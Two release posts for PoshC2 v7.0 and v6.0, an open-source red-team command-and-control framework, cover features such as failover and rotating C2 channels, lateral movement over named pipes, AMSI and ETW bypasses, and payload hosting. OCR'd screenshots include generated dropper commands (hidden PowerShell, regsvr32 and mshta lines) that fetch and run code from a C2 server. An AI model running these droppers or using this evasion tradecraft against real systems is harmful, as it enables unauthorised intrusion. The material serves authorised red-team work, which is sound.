Introducing PoshC2 v7.0

There have been some big improvements and new features added to PoshC2 and we’re excited to announce the release of PoshC2 v7.0. More and more people have started contributing to the project and every one of those contributions is appreciated!

Download & Documentation

You can download PoshC2 v7.0 here:

The PoshC2 documentation has been also been completely updated to reflect the latest version:

Development and Versioning

Before we launch into some of the exciting changes and new features added in this release, it’s worth mentioning that there have also been significant changes to our development process.

All changes are now being reviewed and merged to the dev branch, with infrequent merges from this branch into the default master branch, only after they have been fully tested and deemed acceptably stable.

This means that operators can choose to use the stable master branch, or trade some stability for cutting edge features by using dev or a feature branch. Details on how to use none-standard branches are in the README, but the crux of it is that the install and update scripts accept a -b parameter which allows you to specify a branch name.

Furthermore, we are more strictly adopting semantic versioning as a versioning scheme. This means that given a version number MAJOR.MINOR.PATCH:

  • A MAJOR version increase means there have been incompatible API changes, so a new project will be required and any third party tools that use PoshC2 may need to be updated.
  • A MINOR version increase will indicate we have added functionality in a backwards compatible manner.
  • A PATCH version increase will indicate we have made backwards compatible bug fixes.

This should provide insight into the nature of changes and allow users of PoshC2 to quickly determine if they would like to update their installation or not.

Project Refactoring

Probably the most significant change for the majority of users will be a complete change to how projects work in PoshC2.

Previously, you had to specify the PoshC2 install path and the projects directory in the configuration file, which was stored in the install directory. Switching projects was none-trivial as you had to back up and reset your configuration file before editing the project location value in it.

PoshC2 v7.0 introduces a new script, posh-project, which is used to manage projects:

This script allows projects to be easily created with descriptive names, in addition to quickly and easily facilitating listing, deleting and switching between them. The install and project directory options in the configuration file have been removed as they are now being programmatically determined.

All PoshC2 projects are now stored under /var/poshc2/ and the configuration file is also stored in this location, allowing easy switching and backups.

Power Status Monitoring (PSM)

Have you ever been running a red team engagement, lost a shell and had absolutely no idea what happened? Did you get kicked out, did they isolate the machine, or has the user just put their laptop to sleep for the evening?

Well, we have, and this is why we created the power status monitoring (PSM) module. The work of Rob Maslen (@rbmaslen), this is a module for the C# implant that can asynchronously inform the operator of the machines status when performing live engagements. It should be noted this module is automatically loaded on start up, so there is no need to force load this module. If you want to check the module out it’s called PwrStatusTracker.dll. Here is an example of the output from a C# implant which has loaded the PSM module.

Machine generated alternative text: Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin Monitor(screen) has been switched ON Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin L! J Session has been locked

Machine generated alternative text: Task øøø36 (autoruns) returned against implant 8 on host DTIø9999Xadmin E +1 Session has been unlocked

You can also run getpowerstatus for a particular implant to check the active state of that implant at any time from a power perspective, e.g. whether the laptop is plugged in and/or charging and what percentage – although it may not work with VMs as they often don’t share the battery status in the default configuration.

Machine generated alternative text: DTIø9999Xadmin DTIø9999 (PID: 3916) Ctt 8) getpowerstatus power status ø7/ø7/2ø2ø 14:19:41 BATTERY : SCREEN . MONITOR: Charging LOCKED ON

Here is a full list of actions that are monitored on the remote host when power status monitoring is invoked. Knowing what is happening at all times is an extremely useful tool that will help you make more informed decisions as operators.

  • [!] SHUTDOWN may be imminent. Query End Session has been called
  • [!] SUSPEND may be imminent. QuerySuspend has been called
  • [!] SUSPEND/SLEEP, machine has been hibernated
  • [!] WARNING: Battery has only 65% charge
  • [!] CRITICAL BATTERY: 10% charge left
  • [!] DISCHARGING the battery now. AC has been unplugged
  • [+] Console session has been connected to
  • [-] Console session has been disconnected from
  • [+] Remote connection has been made to the machine (RDP)
  • [-] Remote connection has been dropped (RDP)
  • [+] A user has logged on
  • [!] A user has logged off
  • [!] Session has been locked
  • [+] Session has been unlocked
  • [-] Session remote control status has changed
  • [+] Monitor(screen) has been switched ON
  • [!] Monitor(screen) has been switched OFF
  • [!] UPS powered now. Machine may turn off at any time
  • [!] Low battery reported
  • [+] Battery has 65% charge
  • [+] Resume from suspend
  • [+] AC is plugged in
  • [!] AC has been unplugged
  • [!] Computer is on a UPS
  • [+] Battery is charging: 10%
  • [+] Battery Percent: 10%
  • [+] Battery Status: 10%

It should be noted, however, that the shutting down message is essentially in a race against the actual shutdown event and sometimes may not trigger before the host fully switches off. Similarly, if the user disconnects from the network then obviously notifications cannot be sent. Nonetheless, this feature represents a huge increase in information available to operators that can help provide situational awareness on an engagement.

Communications Improvements

Failover Comms

Failover Comms has been implemented by Doug McLeod (@b4ggio_su) and allows an operator to specify an array of URLs to attempt to egress an environment and establish C2 communications. In previous versions a payload would specify a single URL with which it would try to establish C2 communications and if this failed then the payload would fail. However, having spent time within environments that have a strict lockdown, we have developed a means of cycling through numerous URLs, if required, in order to find a communications channel that can successfully exit the environment.

To enable failover communications, set multiple URLs in the posh-config, by specifying an array of URLs to use in the dropper. An example has been shown below:



With the above configuration set, all payloads will now attempt to get out via the first URL-and-header combination, then if this fails it will cycle through the second, third and so on until there are none left or comms has been successfully established.

This will stop on the first successful URL and start the loading of the second stage. This should allow operators to build a number of URLs to use across a variety of categorisations and so on and add a level of redundancy for payloads.

Comms Rotation

Once in the environment and having successfully established communications, operators can enable comms rotation. The idea for rotation is to identify a number of URLs that the operator would like to spread C2 communications over and then randomly communicate over all of them.

This has the added benefits of helping blend into normal traffic and avoid telemetry detections, while also allowing the operator to respond to a client blocking individual C2 URLs when an incident occurs. If you are rotating through multiple URLs and one is blocked then the implant will still be able to communicate with the C2 server via the other URLs. Operators can modify the rotation list on the next call back to change to new URLs, buying time to move again in the environment as quickly as possible.

To assist with identifying URLs that work and can connect back to the C2 server, a PowerShell module has been added that will display the results in the server window.

invoke-urlcheck -urls, -domainfront, -uri /en-gb/surface/accessories/

Once this is executed you will see the following hits on the C2 server for successful callbacks.

27/03/2020 09:30:55: The URL: successfully connected 27/03/2020 09:30:56: The URL: successfully connected

Once a list of valid URLs has been determined, the operator can enable comms rotation with the command enable-rotation. This will then prompt the operator for the URL and Host Header lists.

PS 001> enable-rotation Domain or URL in array format:, 

Domain front URL in array format:,

Operators can also use get-rotation to see what URLs are being cycled through at any given time when rotation is enabled. One note is that rotation configuration is only in-memory and any persistence schemes will need updating if new URLs should be used for them.

C# PBind Implants

Another feature from Doug McLeod (@b4ggio_su) is the long awaited update to the PowerShell variant of PBind. The PBind project, which offers lateral movement capability through SMB named pipes, has now been converted over to C# and full integration added as a standalone implant type.

The C# PBind implant is fully incorporated into the ImplantHandler and now sports its own handler with an implant registering in blue in the console. Furthermore, PBind is included in the full array of payloads and includes its own DLLs, EXEs and Shellcode for use by the operator.

The PBind implant extends the C# implant and the same functionality applies, allowing operators to load and run C# modules in memory in the same way they’re used to.

To use PBind, launch one of the PBindSharp payloads or inject the shellcode and a named pipe will be created on the target. The default values for the pipe name and secret are configurable in the configuration file. Then, connect to the pipe from another implant with access to that pipe using pbind-connect. The pipe name and secret do not have to be specified if the defaults are being used:

pbind-connect hostname

Machine generated alternative text: Seen: Seen : Seen: 07/07/2020 ø7/ø7/2Ø2ø 07/07/2020 14: 14: 14: 33: 33: 33: ø3 ø2 02 I PID: I PID: I PID: 4456 11712 11656 I URL ID: I URL ID: I URL ID: 1 | DTIØ9999Xadmin DTIØ9999 (AMD") ps 1 | DTIø9999Xadmin DTIø9999 (AMD") IPSMI PBind I DTIØ9999Xadmin* DTIØ9999 (AMD64) ctt;PB 'Parent: 101

A PBind implant will connect and be displayed in blue and can then be used in the expected way.

Payload Generation

Extendable Payload Generation

We have spent some time refactoring the payload generation module so that it can be extended by the operator if they wish to customise their own payloads or for any future pull requests that are submitted. Adding new payload types is now incredibly straightforward, and more work is planned to simplify it further and homogenise payload creation.

The first customisation is that when you create a full set of payloads it will create you all five implant types in both x86 and x64 bit architectures for each payload type, that’s why you may notice a larger set of payloads that are generated:

  • Posh_v2
  • Posh_v4
  • Sharp_v4
  • PBind_v4
  • PBindSharp_v4

On top of this we now compile any “*.c” or “*.dll.c” file and compile accordingly as either an EXE or DLL respectively, replacing placeholders with payload specific shellcode. This will allow the operators to have an opportunity to customise their droppers and add Anti-Virus bypasses, custom environmental detections or AMSI unhooking that they wish to add before the shellcode injection.

To take a look at code, here is part of the default C template that is added.

As you can see in the file there is a “#REPLACEME#” text section which gets replaced before compilation. This will add a char array with a name of “sc” which can be used later in the code for shellcode injection, after you have done your own code checks or bypasses. This will allow operators to customise their own payloads to have better success with the droppers:

Machine generated alternative text: char sco Xx1@Xxc3Xx55Xx8bXxecXx83XxecXx18Xx53Xx56Xx57Xx68"

Additionally, brand new payload types can be added by adding a new module to poshc2/server/payloads. Any python3 module in this directory will be loaded and a create_payloads(payloads, name) function executed with the payload information and name. See poshc2/server/payloads/ for an example.

Simply dropping in a new module and a new payload-template allows for brand new payload types to be easily added, easily extending PoshC2’s already considerable payload list.

We plan to do a lot more in this space to allow any file full customisation, e.g. HTA files, macro files and more. We will release more documentation and information on this in the coming months.

Donut Shellcode Integration

We have seen some great work by @TheWover & @odzhan in their creation of the Donut shellcode generator and wanted to integrate this into PoshC2 so it can generate smaller and more customisable shellcode options for use. This was actually a really easy integration given a Donut pip module had been created and because of the payload refactor. See for details.

Machine generated alternative text: Donut shellcode files . _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh _ Project/payloads/posh v2 v2 v2 v2 Donut Donut Donut Donut Donut Donut Donut Donut x86 x86 x 64 x 64 x86 x86 x 64 x 64 Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . Shellcode . b64 bin b64 bin b64 bin b64 bin Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload Payload written written written written written written written written written written written written written written written written written written written written to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: to: /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 b64 bin b64 bin _ Project/pay10ads/PBind v4_Donut x86 Shellcode . b64 _ Project/pay10ads/PBind v4 Donut x86 Shellcode . bin _ Project/pay10ads/PBind v4_Donut x64 Shellcode . b64 _ Project/pay10ads/PBind v4 Donut x64 Shellcode . bin _ Project/pay10ads/Sharp_v4_Donut x86 Shellcode . b64 _ Project/pay10ads/Sharp_v4_Donut x86 Shellcode . bin _ Project/pay10ads/Sharp_v4_Donut x64 Shellcode . b64 _ Project/pay10ads/Sharp_v4_Donut x64 Shellcode . bin _ Project/pay10ads/PBindSharp_v4_Donut x86 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x86 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x64 Shellcode . _ Project/pay10ads/PBindSharp_v4_Donut x64 Shellcode .

As a result of these new payloads, the payload generation takes a bit longer, however…

Quick Shellcode Generation

Given the new payload types and extensibility, in addition to the large number of payloads already created by PoshC2, we have also created a createnewshellcode command. This command works in the exact same way as createnewpayload except that it only creates the minimal set of payloads required to generate the shellcode files.

In situations where operators only want the shellcode files for custom launchers or injection, this command will save time and the payloads directory becoming bloated with unnecessary payloads.

Both of these commands also allow new or different failover comms and PBind pipe names to be set.

AMSI & ETW Patching in Shellcode

The shellcode itself has also been updated, with an AMSI bypass and ETW patch (nod to xpn) added to improve the success rate and stealth of PoshC2 payloads by default. Now, when inspecting the .NET assemblies for an implant process they are not loaded or displayed:

Payload displaying

A final change to payload generation includes how they are displayed in the C2Server log on creation. We have split out the payloads/droppers that are based on “powershell.exe” and “shellcode” so the operators understand their OPSEC considerations on the endpoint. This is clearly detailed on payload generation as shown below in white.

Machine generated alternative text: Creating Rewrite Rules in: /opt/PoshC2_Project/rewrite-ru1es . txt Payloads/droppers using powershell . exe: Raw Payload written to: /opt/PoshC2_Project/pay10ads/pay10ad . txt Batch Payload written to: /opt/PoshC2_Project/pay10ads/pay10ad . bat powershell -exec bypass -Noninteractive -windowstyle hidden -e nuBTAHkAcwBøAGUAbQAuAE4AZQBøAC4AUwBIAHIAdgBpA EøAUwA- HTA Payload written to: /opt/PoshC2_Project/pay10ads/Launcher .hta Macro Payload written to: /opt/PoshC2_Project/pay10ads/macro. txt regsvr32 /s /n /u /i:https://172.16.ø.1ø5:443/trader-update/_rg scrobj .d11 mshta . exe vbscript :GetObject( "script : https : // 172.16.ø.1ø5 : 443/ trader-update/_cs" Payloads/droppers using shellcode: Ctt Dropper EXE written to: . exe Ctt PBind Dropper EXE written to: . exe Ctt PBind Powershell v4 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps_pbind v4.exe Ctt Powershell v2 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps v2 .exe Ctt Powershell v4 EXE written to: /opt/PoshC2_Project/pay10ads/dropper_cs_ps_v4.exe C++ DLL Payload Payload Payload Payload Payload Payload Payload DLL Export (VoidFunc) that loads CLR v2.ø.5ø727 or v4.ø.3ø319 - written written written written written written written to: to: to: to: to: to: to: /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 /opt/PoshC2 _ Project/payloads/posh v2 x86. d11 _ Project/payloads/posh v2 x64. dil _ Project/payloads/posh v4 x86. dil _ Project/payloads/posh v4 x64. d11 _ Project/pay10ads/Sharp_v4_x86. d11 _ d11 _ Project/pay10ads/PBind v4 x86. d11

Dynamic File Hosting

For a while now we have been wanting to add the ability for operators to host custom files with custom file types without needing to restart the server or to have to host outside of the PoshC2 server. We have now added four new commands which allow you to manage this in your C2 server Implant Handler.

It also has an option to Base64 encode the hosted file when it’s served so that you can write your own droppers or download functions to grab hosted shellcode from the C2 Server and inject it into your own process. You can also use this to host any payload in the payloads folder if you want to expose this on your C2 instance in an easy and logged fashion. Only the specific hosted files are exposed and not directories, and all of the requests to those files are logged into the webserver.log that is in your project folder.

  • add-hosted-file
  • disable-hosted-file
  • enable-hosted-file
  • show-hosted-files

We have also made the mime-type configurable. This is because some defensive capabilities have rules based on mime-type and its often good practise to change this when serving a payload to bypass those defences.

This feature also allows payloads to be hosted for and accessed through Daisy Chains. By choosing a host URL that starts with the QuickConnectURL (randomly generated from the URL list and printed on server start) then Daisy implants will automatically route this request down the Daisy-chain and to the C2 server to access your hosted file.

Background Tasks

As a red team, we often need to run tasks which can take a while to finish executing. In some instances we may also want to obtain the output on a periodic basis rather than waiting for it to finish. To do this we have introduced a run-exe-background command that can now run any C# module in the background, while receiving the updated output on each beacon.

Please note this is only applicable to our Sharp payloads at present, including the PBindSharp implant type. An example usage could be InveighZero or Rubeus in monitor mode – both of which are fantastic modules that can perform many Man-in-the-Middle type attacks – but you want to run these in the background while doing other tasks.

Here are a few screenshots showing us running InveighZero in a C# implant:

Machine generated alternative text: Task øøø28 loadmodule Task øøø29 (bturner) issued against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Inveigh . exe (bturner) issued against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) run-exe-background Inveigh . Program Inveigh Task øøø28 (bturner) returned against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Module loaded successfully Task øøø29 (bturner) returned against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:21) Running background task

Every time the implant beacons, we receive the output from the command if there has been any console output since the last check-in.

Machine generated alternative text: Background task against implant 6 on host DTIø9999Xadmin DTIø9999 (ø7/ø7/2ø2ø 13:58:25) (output appended t o /opt/PoshC2_Project/reports/background-data . txt) Not high integritys Inveigh ø.91ø started at 2ø2ø-ø7-ø7T13:58:21 Elevated Privilege Mode - Disabled Primary IP Address 172.16.ø.13ø Primary IPv6 Address 2aøø: 23c6: 2c2e: 95ø1 : aca4: 8d94: 9a12 : e2øf Spoofer IP Address - 172.16.ø.13ø 2aøø: 23c6: 2c2e: 95ø1 : aca4: 8d94: 9a12 : e2øf Spoofer IPv6 Address Spoofer MAC Address øøøC29419AAF Packet Sniffer - Disabled Disabled DHCPv6 Spoofer DNS Spoofer For Types A Enabled DNS TTL 3ø LLMNR Spoofer Enabled Disabled LLMNRv6 Spoofer - LLMNR TTL 3ø Disabled mDNS Spoofer NBNS Spoofer For Types øø,2ø NBNS TTL 165 HTTP Capture Enabled HTTP Authentication - NTLM Disabled Proxy Capture - WPAD Authentication - NTLM Enabled - Firefox WPAD NTLM Authentication Ignore List - Disabled SMB Capture Machine Account Capture Disabled File Output - Disabled Log Output Enabled Disabled Pcap Output Previous Session Files - Imported Press ESC to access console


Ross Bingham (@PwnDexter) has also ported and greatly improved his PowerShell Invoke-EDRChecker to C#.

This incredibly useful tool will enumerate installed programs, services, drivers, processes and process modules and their metadata for indicators of various defensive and threat hunting tools, providing operators with a detailed and reliable indicator of what technologies are on the target.

The detailed checks this tool performs will discover products deployed in their respective ‘stealth’ modes, such as CarbonBlack and Sysmon, and as the amount of data enumerated is large, a helpful summary is displayed at the end.

Docker Support

Docker support for PoshC2 has now been significantly improved, with automatic builds being published for master, dev and tagged version branches to both Docker Hub and the GitHub package repository.

With this and the new projects changes, a local install of PoshC2 is no longer required so the script simply adds some scripts to /usr/local/bin and sets up the project directory, with the Docker scripts automatically using the pre-built images unless a specific tag is specified with the t option. This makes using PoshC2 using Docker a very lightweight and reliable option.

Opsec Events

There are often times during and engagement where you want to log an event that isn’t automatically tracked by a C2 framework, such as an incident being raised or a file being manually moved which should be logged to ensure it is tracked for clean up.

For these situations we’ve added Opsec Events. These events are manually added and stored in the database and can be viewed using get-opsec-events as well as in the generated report output.

URL Handling

Another noteworthy change is regarding how comms URLs are handled and displayed in PoshC2. Previously, when an implant connected it would display what CONNECT URL it used, but there would be no way to know what Host header or Proxy creds and so on were bring used unless you knew specifically which payload had been executed.

In version 7 of PoshC2, implants will list their communications configuration using URL names or IDs, which can be reviewed using the show-urls command.

This allows operators to reliably track specifically what communications channel and options are being used throughout and engagement.

Report Generation

Finally, report generation has also been streamlined and the generate-csvs command only generates the quick CSV reports for operators as opposed to the full report set.

The URLs and new Opsec Events tables have also been added to the report generation.

Full Changelog

A large number of other updates and fixes have been added in this version and merged to master, some of which are briefly summarised below. For updates and tips check out @nettitude_labs@benpturner, @m0rv4i and @b4ggio-su on Twitter.

  • Update Help and auto-generate autocompletion
  • README and readthedocs documentation update
  • Add LockLess ( for handling locked files
  • Fix “Module Loaded Successfully” message regardless of success
  • Change date format to yyyy-mm-dd
  • Shellcode update
  • Add generate-csvs command
  • Payloads cleanup and refactoring
  • Payloads extendability
  • Automatically compile *.dll.c and *.c files in payload-templates
  • Add GitHub actions for build Docker images for Docker Hub and GitHub packages
  • Improve Daisy payload creation
  • Added ETW patching to shellcode
  • Added AMSI bypass to shellcode
  • Added killdate parsing on set-killdate
  • Improve exception handling
  • Pull out common DB code
  • Remove unused Sounds code & config
  • Add opsec events for manual event logging
  • Keep C2 messages for reporting
  • Refactor projects
  • Improve scripts and script reliability
  • Add options to scripts to specify git branch or docker tag
  • Fix dropper.cs key potentially containing / character (thanks to @Flangvik)
  • Fix missing screenshot.dll
  • Add donut shellcode generation
  • Add custom hosted-files
  • Add PowerStatusTracker (thanks to @rbmaslen)
  • C2Server refactoring
  • Added Comms failover and rotation
  • Added run-exe-background for background tasks
  • Add PBindSharp Implant & payloads
  • Removed unused history table
  • Added start of database model for code cleanliness
  • Auto determine offset for payload patching
  • Migrate from requirements.txt to Pipfile
  • Merged get-system and install-persistence in PowerShell implant
  • Consolidate and clean up invoke-* payload commands
  • Link Implants to full URL info using URLIDs
  • Fix infinite loop in PowerShell PBind (thanks to @0x413x4)
  • Misc fixes and refactoring
  • Add SharpAppLocker from @Flangvik (thanks to Tom MacDonald @BaffledJimmy)
  • Add SharpEDRChecker from Ross Bingham @PwnDexter
  • Fix Docker shared volumes and install on Macs
  • Add Ansible task file for building PoshC2 (thanks to @yg-ht, @BaffledJimmy, @benpturner)
  • Remove unhook-amsi command (as this was flagged by AMSI) and bypass now included in shellcode

Introducing PoshC2 v6.0

We are pleased to release the latest version of PoshC2 – v6.0. Version 6.0 includes a number of significant and exciting features, in addition to the usual plethora of bug fixes and small improvements. In this blog post, we take a look at some of the more significant changes and feature rich enhancements to make it easier for operators.

Download PoshC2 v6.0

You can download PoshC2 v6.0 from GitHub:

github GitHub:

Postgres Support

Reporting and auditing actions is an essential part of any C2 framework. As operators, we need to reliably determine all actions that have performed, in case there’s an incident as well as for accurate reporting. PoshC2 normally uses SQLite databases in the project directory to store its data, but we found that for large projects or a very high number of implants the performance of this database can become an issue and start to slow down.

For this reason, we’ve added support for Postgres databases, allowing teams to point their PoshC2 install at a Postgres instance and have the project data stored in a performant database on a separate server, if desired.

Using Postgres in PoshC2 is easy, simply change the DatabaseType value in the config.yml from SQLite to Postgres, and set the PostgresConnectionString as follows. The only other thing to note is you must create the database manually before adding the connection string.

That’s all there is to it!

Daisy Chaining

Daisy chaining implants has been an incredible feature of PoshC2 for some time now. The ability to have one implant beacon to another existing implant allows operators to compromise environments that can’t reach the Internet, by having communications route through an active implant that can. These implants can be daisy-chained to an arbitrary length which is extremely useful and powerful, but sometimes setting up daisy-chaining felt a little arcane, and if you didn’t make the right sacrifice to the right deity at the right time it may not work and troubleshooting the issue was not the easiest.

To help with this, we’ve added a wizard. Simply run startdaisy from the implant you want to use as the daisy server and it will guide the operator through the different options and situations before starting the daisy server on the current implant, and generate new daisy payloads that can be used to connect to this instance.

Once the daisy implant has been obtained, the operator can simply run startdaisy on that implant if they want to go deeper, or just use the implant as they would normally if one layer pivoting is all that’s required.

It should be noted that binding to a non-localhost IP address requires elevation, but daisy-chaining can still be used on the localhost without elevation. This is useful for elevation of privilege attacks, for example, creating implants as other users that cannot or should not have traffic leaving the environment, such as SYSTEM implants.

Dynamic Code Execution

Most red teams need the ability to quickly adapt to situations, to take advantage of fleeting opportunities or tackle difficult problems innovatively and creatively.

To help with this, we’ve added a quick and easy way of being able to write and run code down on a C# implant. PoshC2’s ‘Dynamic Code’ feature creates a DynamicCode.cs file in the project payloads directory. This file can then be edited at will in your editor of choice and run in the implant instantly.

Once done, saving it and running dynamic-code from a C# implant will compile this code and execute it in memory, on the target, on the fly.

This should enable teams to prototype and run their own code snippets or C# scripts quickly, allowing them to improvise, adapt and overcome obstacles they encounter.

AMSI Bypass

We’ve also updated the AMSI bypass for C# implant as well as help obfuscate the initial PowerShell cradle, which may help when fighting off Windows Defender. There were recently a few good blog articles from the security community that have helped us with this, as follows:

@_RastaMouse also has a GitHub repository that has the AMSI ScanBufferBypass that is leveraged in the C# implant shellcode, which evades the System.Reflection.Assembly.Load methods. Hopefully this means you can have more success on engagements rather than fighting with Windows Defender in order to help improve your client’s security posture.

Sharp PowerShell

Another significant change is the addition of PowerShell execution in the C# implant.

By using the sharpps command, operators can execute PowerShell in memory on the target from a C# implant, effectively adding the full power of PowerShell and the PowerShell implant to the C# implant. Similarly, modules can be loaded using the pslo (PowerShell loadmodule) command.

#OpSec Warning: Note that while PowerShell.exe is never touched or used, this will load the System.Management.Automation.dll into memory for the implant process when a sharpps or pslo command is first run.

SharpSploit integration

SharpSploit is a fantastic resource and has been included with PoshC2’s modules for some time now, but usage had been quite manual through the run-dll command.

We have started to integrate SharpSploit into PoshC2 more in order to leverage this tool more easily, starting with its Mimikatz commands:

We will continue to expand in this area over the next few months, so watch this space.

Indicators of Compromise

A key consideration when using a C2 framework is the Indicators of Compromise (IoCs) it has, and how well known they are.

Many of PoshC2’s IoCs are well fingerprinted, but can be altered in the config.yml file, such as the UserAgent string, default migration process, server header and more.

Previously, the HTTP responses that were returned by the server were simple inline pages in the configuration file, making it difficult to alter these to reflect real HTML pages. These have now been pulled out into standalone files in resources/responses folder so they can be easily edited.

A file is randomly selected and used as a response for HTML requests.

Searching history

PoshC2 already allows interactive command searching similar to bash using the Ctrl-R key combination, but a much requested feature was the ability to search through the command history in a similar way to the searchhelp command, which returns a list based off a regex search.

A searchhistory command has now been added which does exactly this, allowing operators to find all relevant commands, helpful both on engagements and when reporting, or even updating your notes with the cool commands you used during a live engagement.

C# Portscanner

Rob Maslen’s (@rbmaslen) PortScanner module has been added to PoshC2 and integrated into the C# implant so we can now fully utilize this in engagements where the PowerShell implant may get detected.

This fast and effective port scanner is loaded and run in memory by the C# implant and can be executed as shown below. It will also show closed ports for when you may need to tunnel through the network using already pre-approved ports on the firewall.

fpc script improvements

The fpc (Find PoshC2 Command) script is installed by PoshC2 to help with reporting and logging. When run from the command line, it allows users to search the PoshC2 database for commands or command output containing certain keywords. Rich Hicks (@Console) has significantly enhanced this script by improving its output to include the user and timestamp that run the particular command, in addition to adding a new filter for the taskId.

This script has also been updated to add support for Postgres.

RedELK Support

Working with @OutflankNL we’ve helped add support for PoshC2 to their awesome RedELK tool. This Red Team SIEM provides phenomenal oversight and insight into the actions being performed both by the Red Team and by the Blue Team when investigating an incident caused by that C2 instance, alerting the Red Team that they have been compromised. For more information, see the RedELK page here:

Download PoshC2 v6.0

You can download PoshC2 v6.0 from GitHub:

github GitHub:


We still have a lot of planned improvements for PoshC2. Some of the prioritised changes are below:

  • Refresh the documentation.
  • Continue improving the ease of configuration for PoshC2’s IoCs (Indicators of Compromise), such as the HTTP responses and URLs used.
  • Provide the community with increased detections for PoshC2’s default IoCs, such as behavioural IoCs, yara rules and so on.
  • Continue refactoring PoshC2 for ease of development and testing.
  • Link pre-compiled third-party modules to their respective repositories for credit, updating, investigation etc.
  • Move to ISO standard date formats (yyyy-MM-dd).
  • Add an (optional) embedded RedELK Red Team SIEM to PoshC2’s C2 server.
  • Update Nettitude’s Red Team Training Course to cover in detail advanced usage of PoshC2 and knowledge of its IoCs, including altering core behavioural and static IoCs.
  • Add a python3 dropper.

Other Updates

A large number of other updates and fixes have been added in this version, some of which are briefly summarised below. For updates and tips check out @nettitude_labs, @benpturner and @m0rv4i on Twitter.

  • Updated SharpHound to the latest version 3.0.4
  • Kali Linux is the supported Operating System of choice now, with the Dockerfile building from the base Kali rolling image.
  • Clockwork SMS support has been retired and Pushover support enhanced, with the ability to set the API keys from the Implant Handler.
  • The Implant Handler display has been altered slightly, with labels on the right and displayed in blue.
  • Modules are now no longer loaded from the modules directory if a full path is specified to the loadmodule command.
  • The C# dropper now explicitly states the format it expects numbers, such as jitter, to avoid formatting issues when implants are running in other locales.
  • Beacon times will only be updated in the UI and server side when a beacon successfully accepts the beacon update task.
  • Implants will now retry up to five times to POST task data back if the request fails.
  • Kevin-Robertson’s Powermad module added (Thanks to Roxana Kovaci (@rkovaci)).
  • Install Script now checks it is running as root and exits if now with a user friendly message (Thanks to @jaredstroud).
  • Add m0rv4i’s SharpCookieMonster module.
  • Added updated PowerUpSQL from @NetSPI and new SweetPotato.exe module from @CCob
  • Added a sharp command safety check in the PS implant to catch commands that are likely for the C# implant and prompt for confirmation.
  • Update Rubeus module (Thanks to Tom MacDonald (@BaffledJimmy))
  • Updated the SharpHound3 help for increased operational security and stealth (Thanks to Ross Bingham (@PwnDexter))
  • Added ability to auto-hide implants that have not beaconed in for over 30 beacons with the –a option to the implant handler.
  • Added a static warning to the top of the ImplantHandler in red when the Kill date is less than 7 days away (thanks to @Felix).
  • Fixed: Encryption of special characters in commands could silently fail, particularly critical when entering a password with a special character in it.
  • Fixed: Generated HTML reports being truncated
  • Fixed: Various Upload and Download-file issues. (Thanks to @clhefton and @chppppp)
  • Fixed: Missing mono assemblies for installing on Ubuntu
  • Fixed: startanotherimplant-keepfile command not working in Python implant
  • Fixed: SharpSocks support via Domain Fronted URLs.
  • Fixed: Mimikatz credential parsing for creds command.
  • Fixed: Python2 dropper didn’t work in Python versions before 2.7.0 (Thanks to @RustyBower).
  • Fixed: PowerShell implants install-servicelevel-persistence (Thanks to @developerbart)
  • Fixed: Typo in backup folder name when starting PoshC2 with a different configuration (Thanks to @er28-0652).
  • Fixed: Many, many issues with the PoshC2.psm1 PowerShell module for PoshC2 on Windows via Docker (Thanks to @justin-p).
  • Fixed: Various SharpSocks issues (Thanks to Roxana Kovaci (@rkovaci)).
  • Fixed: Kill date format handling inconsistent across locales (Thanks to @KidneyThief).
  • Fixed: Python now explicitly uses python2 (Thanks to @clhefton).